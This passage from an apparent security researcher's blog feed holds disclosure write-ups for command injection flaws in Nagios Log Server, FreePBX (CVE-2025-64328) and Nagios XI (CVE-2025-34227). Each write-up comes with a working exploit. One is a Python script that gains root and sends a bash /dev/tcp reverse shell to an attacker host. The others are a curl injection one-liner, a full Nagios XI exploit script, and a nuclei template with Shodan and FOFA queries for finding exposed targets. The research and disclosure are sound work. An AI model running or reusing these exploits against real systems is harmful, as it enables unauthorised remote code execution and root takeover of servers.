-r-xr-xr--  1 nagios nagios  50K Sep  7 16:20 xi_api_create_passive_objects.php
</code></pre></div></div>
<p>The files that <code class="language-plaintext highlighter-rouge">www-data</code> has permission to execute as <code class="language-plaintext highlighter-rouge">root</code> via <code class="language-plaintext highlighter-rouge">sudo</code> are all owed by root. <code class="language-plaintext highlighter-rouge">www-data</code> can move the <code class="language-plaintext highlighter-rouge">reconfigure_ncpa.sh</code> to any other filename and then create a new <code class="language-plaintext highlighter-rouge">reconfigure_ncpa.sh</code> file, set the executable bit, and then run as <code class="language-plaintext highlighter-rouge">root</code> via <code class="language-plaintext highlighter-rouge">sudo</code>.</p>

<p>Writing to the file clearly does not work as <code class="language-plaintext highlighter-rouge">www-data</code> as shown by the first line of output, however moving and recreating a new file does:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>root@debian-nagios-logserver2:/usr/local/nagioslogserver/scripts# sudo -u www-data bash
www-data@debian-nagios-logserver2:/usr/local/nagioslogserver/scripts$ echo 'id' &gt;&gt; reconfigure_ncpa.sh 
bash: reconfigure_ncpa.sh: Permission denied
www-data@debian-nagios-logserver2:/usr/local/nagioslogserver/scripts$ mv reconfigure_ncpa.sh reconfigure_ncpa.sh.bak
www-data@debian-nagios-logserver2:/usr/local/nagioslogserver/scripts$ echo 'id' &gt;&gt; reconfigure_ncpa.sh 
www-data@debian-nagios-logserver2:/usr/local/nagioslogserver/scripts$ chmod +x reconfigure_ncpa.sh
www-data@debian-nagios-logserver2:/usr/local/nagioslogserver/scripts$ sudo /usr/local/nagioslogserver/scripts/reconfigure_ncpa.sh
uid=0(root) gid=0(root) groups=0(root)
www-data@debian-nagios-logserver2:/usr/local/nagioslogserver/scripts$ cat reconfigure_ncpa.sh
id
</code></pre></div></div>
<h2 id="proof-of-concept">Proof of Concept</h2>
<p>Combining these, we can use the following script to exploit the command injection, perform the file move operations, and then execute the new file via <code class="language-plaintext highlighter-rouge">sudo</code> to get a reverse shell as <code class="language-plaintext highlighter-rouge">root</code>:</p>

<p>First, start a <code class="language-plaintext highlighter-rouge">nc</code> listener in a separate terminal window:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ nc -nlvp 1234
listening on [any] 1234 ...
</code></pre></div></div>
<p>Next, get the local IP address of your testing machine, ours is <code class="language-plaintext highlighter-rouge">192.168.122.216</code>.</p>

<p>Finally, leverage the proof of concept below to execute a reverse shell back to your testing machine as the root user:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ python3 root_exploit.py http://192.168.122.198/ nagiosadmin password123 192.168.122.216 1234
[+] Login worked, adding command injection to self_host_ip_address
[*] Triggering command with request to natural language query endpoint http://192.168.122.198/nagioslogserver/dashboard/natural_language_to_query

</code></pre></div></div>
<p>And observe a reverse shell connecting back to the separate terminal window:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ nc -nlvp 1234
listening on [any] 1234 ...
connect to [192.168.122.216] from (UNKNOWN) [192.168.122.198] 50260
bash: cannot set terminal process group (23645): Inappropriate ioctl for device
bash: no job control in this shell
root@debian-nagios-logserver2:/var/www/html/nagioslogserver/www# id
id
uid=0(root) gid=0(root) groups=0(root)
</code></pre></div></div>
<p><code class="language-plaintext highlighter-rouge">root_exploit.py</code> contents:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>import requests
import sys
import base64

## Usage
# $ python3 root_exploit.py &lt;nagios-logserver-url&gt; &lt;username&gt; &lt;password&gt; &lt;local-ip&gt; &lt;local-port&gt;

host = sys.argv[1]
username = sys.argv[2]
password = sys.argv[3]
local_ip = sys.argv[4]
local_port = sys.argv[5]

proxies = dict.fromkeys(['http','https'],'http://127.0.0.1:8080')

login_url = f'{host}nagioslogserver/login'
globals_setting_url = f'{host}nagioslogserver/admin/globals'
nlq_url = f'{host}nagioslogserver/dashboard/natural_language_to_query'
get_output = f'{host}nagioslogserver/scripts/test.txt'

# reverse shell, can replace with any command Ex: `id&gt;/var/www/html/nagioslogserver/www/scripts/test.txt` if you just want to see `root` run a command and get the output from the webserver
## `nc -nlvp &lt;local_port&gt;` to listen for incoming connection

root_command = f"""bash -c '(bash -i &gt;&amp; /dev/tcp/{local_ip}/{local_port} 0&gt;&amp;1)&amp;';
cp /usr/local/nagioslogserver/scripts/reconfigure_ncpa.sh.bak /usr/local/nagioslogserver/scripts/reconfigure_ncpa.sh;
chown root:root /usr/local/nagioslogserver/scripts/reconfigure_ncpa.sh"""
root_command_b64 = base64.b64encode(root_command.encode()).decode()

privesc_shell_script = f"""mv /usr/local/nagioslogserver/scripts/reconfigure_ncpa.sh /usr/local/nagioslogserver/scripts/reconfigure_ncpa.sh.bak;
echo '{root_command_b64}' |base64 -d &gt; /usr/local/nagioslogserver/scripts/reconfigure_ncpa.sh;
chmod +x /usr/local/nagioslogserver/scripts/reconfigure_ncpa.sh;
sleep 1;
sudo /usr/local/nagioslogserver/scripts/reconfigure_ncpa.sh;
"""

base64_cmd = base64.b64encode(privesc_shell_script.encode()).decode()

cmd = f"echo {base64_cmd}|base64 -d|bash"


with requests.Session() as s:
    s.proxies.update(proxies)
    s.verify = False

    csrf_req = s.get(login_url)
    csrf_ls = csrf_req.cookies['csrf_ls']
    
    login_payload = {
        'csrf_ls': csrf_ls,
        'username': username,
        'password': password
    }
    login_req = s.post(login_url, data=login_payload, allow_redirects=False)
    if 'ls_session' not in login_req.cookies:
        print("[-] Incorrect credentials")
        exit()
    
    print(f"[+] Login worked, adding command injection to self_host_ip_address")


    cmd_injection_payload = {
        "csrf_ls": csrf_ls,
        "natural_language_query": 1,
        "nlp_disclaimer": "on",
        "ai_provider": "self_hosted",
        "self_host_ip_address": f"`{cmd}`",
        "ai_port": 8000,
        "saveglobals":1
    }
    cmd_injection_res = s.post(globals_setting_url, data=cmd_injection_payload)

    if not cmd_injection_res.ok:
        print(f"[-] Cmd injection probably didn't work")
        exit()
    if cmd not in cmd_injection_res.text:
        print(f"[*] Command didn't show up in the response text, still check if it works...")
    
    print(f"[*] Triggering command with request to natural language query endpoint {nlq_url}")

    nlq_res = s.get(nlq_url)

    if not nlq_res.ok:
        print(f"[-] Something failed requesting {nlq_url}, check {get_output} for cmd output")

</code></pre></div></div>
<p>Also available here: <a href="/exploits/nagios_log_server_root_nlq_exploit.txt">root_exploit.txt</a></p>

<h4 id="all-exploits-also-available-in-this-repository">All exploits also available in this repository:</h4>
<p><code class="language-plaintext highlighter-rouge">https://github.com/mcorybillington/CVE-2025-34322_CVE-2025-34323_Nagios_Log_Server</code></p>

<h3 id="advisories">Advisories:</h3>
<p>CVEs requested by VulnCheck</p>
<ul>
  <li><code class="language-plaintext highlighter-rouge">https://www.vulncheck.com/advisories/nagios-log-server-authenticated-command-injection-via-natural-language-queries</code></li>
  <li><code class="language-plaintext highlighter-rouge">https://www.vulncheck.com/advisories/nagios-log-server-local-privilege-escalation-via-writable-scripts-and-sudo-rules</code></li>
  <li><code class="language-plaintext highlighter-rouge">https://www.nagios.com/changelog/nagios-log-server/nagios-log-server-2026r1-0-1/</code></li>
</ul>]]></content><author><name>M. Cory Billington</name></author><summary type="html"><![CDATA[Overview]]></summary></entry><entry><title type="html">CVE-2025-64328 FreePBX Authenticated Command Injection</title><link href="https://theyhack.me/CVE-2025-64328-FreePBX-Authenticated-Command-Injection/" rel="alternate" type="text/html" title="CVE-2025-64328 FreePBX Authenticated Command Injection" /><published>2025-11-08T00:00:00+00:00</published><updated>2025-11-08T00:00:00+00:00</updated><id>https://theyhack.me/CVE-2025-64328-FreePBX-Authenticated-Command-Injection</id><content type="html" xml:base="https://theyhack.me/CVE-2025-64328-FreePBX-Authenticated-Command-Injection/"><![CDATA[<h2 id="overview">Overview</h2>

<p>I recently decided to take a look at <a href="https://www.freepbx.org/">FreePBX</a> after reading <a href="https://labs.watchtowr.com/you-already-have-our-personal-data-take-our-phone-calls-too-freepbx-cve-2025-57819/">watchTowr’s awesome blog post</a> detailing an auth bypass -&gt; SQLi -&gt; RCE. As I read it, I saw that the project was:</p>

<ul>
  <li>Open source ✅</li>
  <li>PHP ✅</li>
</ul>

<p><img src="/assets/images/yousobimin.gif" alt="you sob, i'm in" /></p>

<p><sub><sup>* fwiw i’m not a ‘omg php is so insecure!!!1!’, i just enjoy auditing php projects. extensively learn whatever you are comfortable using and you’ll probably end up with a pretty secure app.</sup></sub></p>

<p>So, I installed it and started poking around at a few different functions, and then eventually landed on an <a href="https://github.com/FreePBX/security-reporting/security/advisories/GHSA-vm9p-46mv-5xvw">authenticated command injection in the administrative control panel</a>. The project has pretty extensive controls that can be used to restrict access to this interface, so it wasn’t exactly a “sky is falling” vuln like watchTowr disclosed, but the interesting thing I noticed is that all the user needed was access to authenticate to the interface. They didn’t need any authorization to anything in particular once they were in.</p>

<p>In this post I’ll include a basic proof of concept as well as a <a href="https://docs.projectdiscovery.io/opensource/nuclei/overview">nuclei</a> template for detecting this. The official published advisory is available here:</p>
<ul>
  <li><code class="language-plaintext highlighter-rouge">https://github.com/FreePBX/security-reporting/security/advisories/GHSA-vm9p-46mv-5xvw</code></li>
</ul>

<p>This was my first time working through a disclosure via Github’s security policy in a project. I have to say it is pretty neat/easy. FreePBX was really easy to work with as well through the policy. I’m a fan.</p>

<h3 id="technical-details">Technical details</h3>

<p>After authenticating to the FreePBX Administration GUI, the <a href="https://github.com/FreePBX/framework">framework module</a> and <code class="language-plaintext highlighter-rouge">testconnection</code> command are reachable via a request to:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>http://&lt;freepbx-host-or-ip&gt;/admin/ajax.php?module=filestore&amp;command=testconnection
</code></pre></div></div>

<p>This logic is defined in Filestore.class.php on line 167 <a href="https://github.com/FreePBX/filestore/blob/f0e3983059271efd80b483ec823310ef19a59013/Filestore.class.php#L167">here</a>:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>public function ajaxHandler(){
	switch($_REQUEST['command']) {
		case 'grid':
			return $this-&gt;listItems($_REQUEST['driver'], true);
		break;
		case 'testconnection':
			$result = "";
			$driver = basename($_REQUEST['driver']);
			include("drivers/$driver/testconnection.php");
			if($driver == "FTP") {
				if($_REQUEST['usesftp'] == "yes") {
					$result = check_sftp_connect($_REQUEST['host'], $_REQUEST['port'], $_REQUEST['timeout'], $_REQUEST['user'], $_REQUEST['password'], $_REQUEST['path']);
				}
				else {
					$result = check_ftp_connect($_REQUEST['host'], $_REQUEST['port'], $_REQUEST['timeout'], $_REQUEST['usetls'], $_REQUEST['user'], $_REQUEST['password'], $_REQUEST['path'], $_REQUEST['transfer']);
				}
			}
			elseif($driver == "Dropbox") {
				$result = check_dropbox_connect($_REQUEST['token'], $_REQUEST['path']);
			}
			elseif($driver == "SSH") {
				$result = check_ssh_connect($_REQUEST['host'], $_REQUEST['port'], $_REQUEST['user'], $_REQUEST['key'], $_REQUEST['path']);
			}
</code></pre></div></div>

<p>By specifying <code class="language-plaintext highlighter-rouge">testconnection</code> via the <code class="language-plaintext highlighter-rouge">command</code> HTTP GET parameter, this causes the logic to execute the statements from lines 168-190. Because this vulnerability is in the <code class="language-plaintext highlighter-rouge">SSH</code> portion, the HTTP Request variable, assigned to <code class="language-plaintext highlighter-rouge">$driver</code> on line 169 needs to be set to <code class="language-plaintext highlighter-rouge">SSH</code>. When <code class="language-plaintext highlighter-rouge">driver=SSH</code>, the condition on line 182 will be met and the <code class="language-plaintext highlighter-rouge">check_ssh_connect()</code> function will be called.</p>

<p><code class="language-plaintext highlighter-rouge">check_ssh_connect()</code> is defined in <code class="language-plaintext highlighter-rouge">testconnection.php</code> on line 2 <a href="https://github.com/FreePBX/filestore/blob/f0e3983059271efd80b483ec823310ef19a59013/drivers/SSH/testconnection.php#L2">here</a>:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>function check_ssh_connect($host, $port, $user, $key, $path) {
	$keypath = dirname($key);
	$publickey = "$key.pub";
	if(!is_dir($keypath)) {
		exec("mkdir -p $keypath");
	}
	if(!file_exists($key)) {
		exec("ssh-keygen -t ecdsa -b 521 -f $key -N \"\" &amp;&amp; chown asterisk:asterisk $key &amp;&amp; chmod 600 $key");
	}
</code></pre></div></div>
<p>The <code class="language-plaintext highlighter-rouge">check_ssh_connect()</code> accepts five HTTP request variables: <code class="language-plaintext highlighter-rouge">host</code>, <code class="language-plaintext highlighter-rouge">port</code>, <code class="language-plaintext highlighter-rouge">user</code>, <code class="language-plaintext highlighter-rouge">key</code>, and <code class="language-plaintext highlighter-rouge">path</code>. All of them must be present otherwise an exception will be thrown.</p>

<p>The <code class="language-plaintext highlighter-rouge">$key</code> variable is what we will focus on, though others are vulnerable as well.</p>

<p><code class="language-plaintext highlighter-rouge">$key</code> is leveraged to create a directory name via the <code class="language-plaintext highlighter-rouge">dirname()</code> method, which is saved in <code class="language-plaintext highlighter-rouge">$keypath</code>. This value is used without being checked in the <code class="language-plaintext highlighter-rouge">exec("mkdir -p $keypath");</code> function so long as the <code class="language-plaintext highlighter-rouge">$keypath</code> value is not an existing directory. We can inject values into this so long as there is a <code class="language-plaintext highlighter-rouge">/</code> and some text after, example below:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code># php -r 'echo dirname("`&lt;thisisacommand&gt;`/anything");'
`&lt;thisisacommand&gt;`
</code></pre></div></div>
<p>This is the first sink, which will execute something like this on the system (output is courtesty of one of my favorite tools <a href="https://github.com/DominicBreuker/pspy">pspy</a>):</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>2025/09/13 21:49:50 CMD: UID=999   PID=222197 | sh -c mkdir -p asdf`id` 
2025/09/13 21:49:50 CMD: UID=999   PID=222198 | sh -c mkdir -p asdf`id`
</code></pre></div></div>
<p>However, we don’t even really need the <code class="language-plaintext highlighter-rouge">/</code> as on line 9, <code class="language-plaintext highlighter-rouge">$key</code> is passed directly to an <code class="language-plaintext highlighter-rouge">ssh-keygen</code> command without being checked:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>exec("ssh-keygen -t ecdsa -b 521 -f $key -N \"\" &amp;&amp; chown asterisk:asterisk $key &amp;&amp; chmod 600 $key");
</code></pre></div></div>
<p>so long as the <code class="language-plaintext highlighter-rouge">$key</code> value is not an existing file. This is the second sink, and executes something like this:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>2025/09/13 21:51:53 CMD: UID=999   PID=222924 | sh -c ssh-keygen -t ecdsa -b 521 -f asdf`id` -N "" &amp;&amp; chown asterisk:asterisk asdf`id` &amp;&amp; chmod 600 asdf`id` 
</code></pre></div></div>
<p>As illustrated, both sinks result in several executions of the command from a single request.</p>
<h3 id="proof-of-concept">Proof of Concept</h3>

<p>For clarity in the proof of concepts below:</p>

<ul>
  <li>My testing instance of FreePBX IP address is <code class="language-plaintext highlighter-rouge">192.168.122[.]206</code>.</li>
  <li>My testing client IP address is <code class="language-plaintext highlighter-rouge">192.168.122[.]216</code>.</li>
</ul>

<p>For the testing user <code class="language-plaintext highlighter-rouge">lowprivuser</code>, I used the initial Administrative user to create a new user in <code class="language-plaintext highlighter-rouge">User Management</code>. The user was granted <code class="language-plaintext highlighter-rouge">Allow FreePBX Administration Login = Yes</code>. <code class="language-plaintext highlighter-rouge">Administration Access</code> was left to <code class="language-plaintext highlighter-rouge">None selected</code>.</p>
<h4 id="curl-proof-of-concept">Curl proof of concept</h4>
<p>The command injection via the <code class="language-plaintext highlighter-rouge">key</code> parameter in a request looks like this:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>key=asdf`echo%20rcetest2&gt;/var/www/html/rcetest.txt`
</code></pre></div></div>

<p>Ultimately, the exploit can be condensed to a single <code class="language-plaintext highlighter-rouge">curl</code> command using the <code class="language-plaintext highlighter-rouge">--next</code> flag and the <code class="language-plaintext highlighter-rouge">--cookie-jar</code> flag.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ curl -s \
-XPOST --cookie-jar /tmp/freepbx-cookie --data 'username=lowprivuser&amp;password=&lt;lowprivuserpassword&gt;' http://192.168.122.206/admin/config.php -o /dev/null \
--next \
--cookie /tmp/freepbx-cookie -H 'Referer: http://192.168.122.206' 'http://192.168.122.206/admin/ajax.php?module=filestore&amp;command=testconnection&amp;driver=SSH&amp;host=127.0.0.1&amp;user=asdf&amp;port=22&amp;key=asdf`echo%20rcetest2&gt;/var/www/html/rcetest.txt`&amp;path=test' | jq
{
  "status": true,
  "message": "Login failed"
}

$ curl -sk http://192.168.122.206/rcetest.txt
rcetest2
</code></pre></div></div>
<p>The <code class="language-plaintext highlighter-rouge">Referer</code> HTTP header must be present in the second request otherwise it returns the following error and the exploit fails:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>{"error":"ajaxRequest declined - Referrer"}
</code></pre></div></div>
<h4 id="nuclei-template">Nuclei template</h4>
<p>If you need a nuclei template to check for it, this uses oast (<a href="https://github.com/projectdiscovery/interactsh">interactsh</a>) to discover it along with a provided <code class="language-plaintext highlighter-rouge">username</code> and <code class="language-plaintext highlighter-rouge">password</code>:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>id: CVE-2025-64328

info:
  name: FreePBX - Authenticated Command Injection in Administration panel
  author: _th3y
  severity: high
  description: |
    FreePBX 17 contains a command injection caused by insufficiently sanitized user-supplied data in the testconnection -&gt; check_ssh_connect() function within the filestore module, allowing authenticated attackers execute arbitrary shell commands as the asterisk user.
  classification:
    cvss-metrics: CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
    cvss-score: 8.6
    cve-id: CVE-2025-64328
    cpe: cpe:2.3:a:sangoma:freepbx:*:*:*:*:*:*:*:*
  reference:
    - https://github.com/FreePBX/security-reporting/security/advisories/GHSA-vm9p-46mv-5xvw
  metadata:
    vendor: sangoma
    product: freepbx
    shodan-query:
      - http.title:"freepbx"
      - http.favicon.hash:"-1908328911"
      - http.favicon.hash:"1574423538"
      - http.title:"freepbx administration"
    fofa-query:
      - icon_hash="-1908328911"
      - icon_hash="1574423538"
      - title="freepbx administration"
      - title="freepbx"
    google-query:
      - intitle:"freepbx administration"
      - intitle:"freepbx"
  tags: cve,cve2025,freepbx,rce,oast,authenticated,vuln

variables:
  username: "{{username}}"
  password: "{{password}}"
  cmd: "nslookup {{interactsh-url}}"
  prefix: "{{rand_text_alpha(5)}}"

flow: http(1) &amp;&amp; http(2)


http:
  - method: POST
    path: 
      - "{{BaseURL}}/admin/config.php"
    headers:
      Content-Type: application/x-www-form-urlencoded
    body: "username={{username}}&amp;password={{password}}"

    matchers:
      - type: word
        part: body
        words:
          - 'FreePBX Administration'
          - 'Hello, {{username}}'
        condition: and
        internal: true
  
  - method: GET
    path:
      - "{{BaseURL}}/admin/ajax.php?module=filestore&amp;command=testconnection&amp;driver=SSH&amp;host=127.0.0.1&amp;user={{prefix}}&amp;port=22&amp;key={{prefix}}`{{cmd}}`&amp;path={{prefix}}"
    headers:
      Referer: "{{BaseURL}}"
    
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "dns"
          - "http"
</code></pre></div></div>

<h2 id="references">References</h2>
<p>Exploitation in the wild:</p>
<ul>
  <li><code class="language-plaintext highlighter-rouge">https://www.cisa.gov/news-events/alerts/2026/02/03/cisa-adds-four-known-exploited-vulnerabilities-catalog</code></li>
  <li><code class="language-plaintext highlighter-rouge">https://thehackernews.com/2026/02/900-sangoma-freepbx-instances.html</code></li>
</ul>]]></content><author><name>M. Cory Billington</name></author><summary type="html"><![CDATA[Overview]]></summary></entry><entry><title type="html">CVE-2025-34227 - Nagios XI Authenticated Command Injection in Configuration Wizard MySQL and PostgreSQL monitoring services leads to Remote Code Execution</title><link href="https://theyhack.me/CVE-2025-34227-Nagios-XI-Wizard-Command-Injection/" rel="alternate" type="text/html" title="CVE-2025-34227 - Nagios XI Authenticated Command Injection in Configuration Wizard MySQL and PostgreSQL monitoring services leads to Remote Code Execution" /><published>2025-10-13T00:00:00+00:00</published><updated>2025-10-13T00:00:00+00:00</updated><id>https://theyhack.me/CVE-2025-34227-Nagios-XI-Wizard-Command-Injection</id><content type="html" xml:base="https://theyhack.me/CVE-2025-34227-Nagios-XI-Wizard-Command-Injection/"><![CDATA[<h2 id="overview">Overview</h2>

<p>Nagios XI is vulnerable to an authenticated command injection vulnerability in the <code class="language-plaintext highlighter-rouge">Configuration Wizard</code> functionality, specifically the PostgreSQL and MySQL Query service monitors (possibly others as well). It is possible to inject shell characters into arguments provided to the service and execute arbitrary system commands on the underlying host as the <code class="language-plaintext highlighter-rouge">nagios</code> user.</p>
<h2 id="technical-details">Technical Details</h2>

<h3 id="1-command-injection-in-configuration-wizard-mysql-and-postgresql-monitoring-services">1. Command Injection in Configuration Wizard MySQL and PostgreSQL monitoring services</h3>

<p>The vulnerability is located within <code class="language-plaintext highlighter-rouge">/nagiosxi/config/monitoringwizard.php</code>. Unfortunately, this file is protected with Source Guardian, therefore it isn’t possible to do a code walkthrough to identify the exact cause of the vulnerability. Thus far, I have confirmed the command injection is possible in the <code class="language-plaintext highlighter-rouge">database</code> and <code class="language-plaintext highlighter-rouge">query</code> parameters, however it is likely possible in others.</p>

<p>To recreate the vulnerability, authenticate to an instance of Nagios XI as the <code class="language-plaintext highlighter-rouge">nagiosadmin</code> user. Retrieve a valid <code class="language-plaintext highlighter-rouge">nagiosxi</code> cookie and <code class="language-plaintext highlighter-rouge">nsp</code>, replace the values in the following <code class="language-plaintext highlighter-rouge">curl</code> command, and then leverage the <code class="language-plaintext highlighter-rouge">curl</code> command to execute the payload within the <code class="language-plaintext highlighter-rouge">database</code> parameter below:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ curl -s \
-H 'Cookie: nagiosxi=&lt;your-session-id-here&gt;' \
--data 'update=1&amp;nsp=&lt;your-nsp-value-here&gt;&amp;step=3&amp;nextstep=5&amp;wizard=mysqlquery&amp;tpl=&amp;hostname=localhost&amp;operation=&amp;selectedhostconfig=&amp;services_serial=&amp;serviceargs_serial=&amp;config_serial=&amp;ip_address=127.0.0.1&amp;port=3306&amp;username=test&amp;password=test&amp;database=information_schema%3Btouch+/tmp/rceproof%3B&amp;queryname=curl+RCE+service&amp;query=SELECT+1&amp;warning=50&amp;check_interval=1&amp;retry_interval=1&amp;critical=200&amp;finishButton=' \
http://192.168.122.9/nagiosxi/config/monitoringwizard.php
</code></pre></div></div>
<p>This will execute <code class="language-plaintext highlighter-rouge">touch /tmp/rceproof</code> as the <code class="language-plaintext highlighter-rouge">;</code> character before and after cause the command to be executed as another shell command. The service <code class="language-plaintext highlighter-rouge">curl RCE service</code> takes approximately one minute to appear in the <code class="language-plaintext highlighter-rouge">/nagiosxi/includes/components/xicore/status.php?show=services</code> page. Once the service appears, a file <code class="language-plaintext highlighter-rouge">/tmp/rceproof</code> should appear, owned by the <code class="language-plaintext highlighter-rouge">nagios</code> user:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code># ls -lah /tmp/rceproof 
-rw-r--r-- 1 nagios nagios 0 Jun 23 11:47 /tmp/rceproof
</code></pre></div></div>

<p>This can also be done through the browser wizard by pasting <code class="language-plaintext highlighter-rouge">information_schema;touch+/tmp/rceproof;</code> into the <code class="language-plaintext highlighter-rouge">database</code> field on the <code class="language-plaintext highlighter-rouge">MySQL Query</code> service setup. <code class="language-plaintext highlighter-rouge">Finish With Defaults</code> as soon as you see that option. I used <code class="language-plaintext highlighter-rouge">127.0.0.1</code> and a random username/password combo.</p>

<h4 id="proof-of-concepts">Proof of Concepts</h4>

<p>I wrote a simple script to handle auth and the command injection:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>import requests
import sys
import re

## Usage
# $ python3 monitoringservice-command-injection.py &lt;target-url&gt; &lt;username&gt; &lt;password&gt; &lt;command&gt;

## Example
# $ python3 monitoringservice-command-injection.py http://192.168.122.9/nagiosxi nagiosadmin password123 'touch /tmp/rceproof'
# [+] Service was added. Watch http://192.168.122.9/nagiosxi/includes/components/xicore/status.php?show=services for the service to appear.
# [*] Make sure to delete the "command injection service" service in the dashboard..

## Set input data
url = sys.argv[1] ## Ex: http://192.168.1.123/nagiosxi/
username = sys.argv[2]
password = sys.argv[3]
command = sys.argv[4]

## Define some constants for use the in the payload/URL
SERVICE_NAME = 'command injection service'
INTERVAL = 1

LOGIN_ENDPOINT = "/login.php"
CONFIGWIZARD_ENDPOINT = "/config/monitoringwizard.php"


def get_nsp_str(text):
    
    nsp_match = re.search(r'var\snsp_str\s=\s"([a-f0-9]+)"', text)
    if nsp_match:
        return nsp_match.group(1)


## Start HTTP session/exploitation requests
with requests.Session() as s:
    s.verify = False

    ## Proxies for Burp. Uncomment if you want to use a proxy
    s.proxies.update(dict.fromkeys(['http','https'],'http://127.0.0.1:8080'))

    ## Login section
    login_url = f"{url}{LOGIN_ENDPOINT}"
    nsp = None
    login_info_req = s.get(login_url)
    
    login_nsp = get_nsp_str(login_info_req.text)
    
    if not login_nsp:
        print("Failed to grab nsp for login")
        exit()
    
    ### Build login request
    login_data = {
        "nsp": login_nsp,
        "page": "auth",
        "pageopt": "login",
        "username": username,
        "password": password,
        "loginButton": ""
    }

    login_req = s.post(login_url, data=login_data)

    ### Confirm redirect to the `index.php` page
    if 'index.php' not in login_req.url:
        print("[-] Invalid credentials")
        exit()

    ### get fresh nsp for config wizard
    configwizard_req = s.get(f"{url}{CONFIGWIZARD_ENDPOINT}")
    configwizard_nsp = get_nsp_str(configwizard_req.text)
    

    ### Configuration for mysql query payload with command injection
    configwizard_servicecreate_payload = {
        "update": 1,
        "nsp": configwizard_nsp,
        "step": 3,
        "nextstep": 5,
        "wizard": "mysqlquery",
        "tpl": '',
        "hostname": "localhost",
        "operation": '',
        "selectedhostconfig": '',
        "services_serial": '',
        "serviceargs_serial": '',
        "config_serial": '',
        "ip_address": "127.0.0.1",
        "port": 3306,
        "username": "test",
        "password": "test",
        "database": f"information_schema;{command};",
        "hostname": "localhost",
        "password": "test",
        "queryname": SERVICE_NAME,
        "query": "SELECT 1",
        "warning": 50,
        "check_interval": INTERVAL,
        "retry_interval": INTERVAL,
        "critical": 200,
        "finishButton": ''
    }

    ### Add service for malicious mysql query

    configwizard_addservice_req = s.post(f"{url}{CONFIGWIZARD_ENDPOINT}", data=configwizard_servicecreate_payload)

    ### Some cursory checks to make sure the servie added. 
    if configwizard_addservice_req.ok and SERVICE_NAME in configwizard_addservice_req.text:
            print(f"[+] Service was added. Watch {url}/includes/components/xicore/status.php?show=services for the service to appear.")
            print(f"[*] Make sure to delete the \"{SERVICE_NAME}\" service in the dashboard.")
    else:
        print("[-] Something failed adding the service")
        exit()
</code></pre></div></div>

<h3 id="exploit-source">Exploit source</h3>
<p>A copy of the above python script is also available here for easy <code class="language-plaintext highlighter-rouge">curl</code>/<code class="language-plaintext highlighter-rouge">wget</code>: <a href="/exploits/CVE-2025-34227_nagios-command-injection.txt">CVE-2025-34227_nagios-command-injection.txt</a></p>

<h2 id="references">References</h2>

<ul>
  <li><code class="language-plaintext highlighter-rouge">https://www.nagios.com/changelog/</code></li>
  <li><code class="language-plaintext highlighter-rouge">https://www.nagios.com/products/security/</code></li>
  <li><code class="language-plaintext highlighter-rouge">https://www.vulncheck.com/advisories/nagios-xi-config-wizard-auth-command-injection</code></li>
  <li><code class="language-plaintext highlighter-rouge">https://www.cve.org/cverecord?id=CVE-2025-34227</code></li>
</ul>

<h2 id="timeline">Timeline</h2>

<table>
  <thead>
    <tr>
      <th style="text-align: center">Date</th>
      <th style="text-align: center">Update</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td style="text-align: center"><strong>23JUN2025</strong></td>
      <td style="text-align: center">Issue reported to security@nagios.com</td>
    </tr>
    <tr>
      <td style="text-align: center"><strong>01JUL2025</strong></td>
      <td style="text-align: center">Receipt of vulnerabilities acknowledged by Nagios</td>
    </tr>
    <tr>
      <td style="text-align: center"><strong>02SEP2025</strong></td>
      <td style="text-align: center">Requested update on vulnerability</td>
    </tr>
    <tr>
      <td style="text-align: center"><strong>03SEP2025</strong></td>
      <td style="text-align: center">Nagios replies to notify that fixes will be relased soon.</td>
    </tr>
    <tr>
      <td style="text-align: center"><strong>25SEP2025</strong></td>
      <td style="text-align: center">Observed updates released at <code class="language-plaintext highlighter-rouge">https://www.nagios.com/changelog/</code></td>
    </tr>
    <tr>
      <td style="text-align: center"><strong>25SEP2025</strong></td>
      <td style="text-align: center"><a href="https://www.vulncheck.com/">VulnCheck</a> releases <a href="https://www.vulncheck.com/advisories/nagios-xi-config-wizard-auth-command-injection">an advisory</a> and issues <a href="https://www.cve.org/cverecord?id=CVE-2025-34227">CVE-2025-34227</a></td>
    </tr>
    <tr>
      <td style="text-align: center"><strong>13OCT2025</strong></td>
      <td style="text-align: center">This article is published.</td>
    </tr>
  </tbody>
</table>]]></content><author><name>M. Cory Billington</name></author><summary type="html"><![CDATA[Overview]]></summary></entry><entry><title type="html">Headless Pentesting Machine Setup</title><link href="https://theyhack.me/Headless-Pentesting-Machine-Setup/" rel="alternate" type="text/html" title="Headless Pentesting Machine Setup" /><published>2025-09-22T00:00:00+00:00</published><updated>2025-09-22T00:00:00+00:00</updated><id>https://theyhack.me/Headless-Pentesting-Machine-Setup</id><content type="html" xml:base="https://theyhack.me/Headless-Pentesting-Machine-Setup/"><![CDATA[<h2 id="overview">Overview</h2>
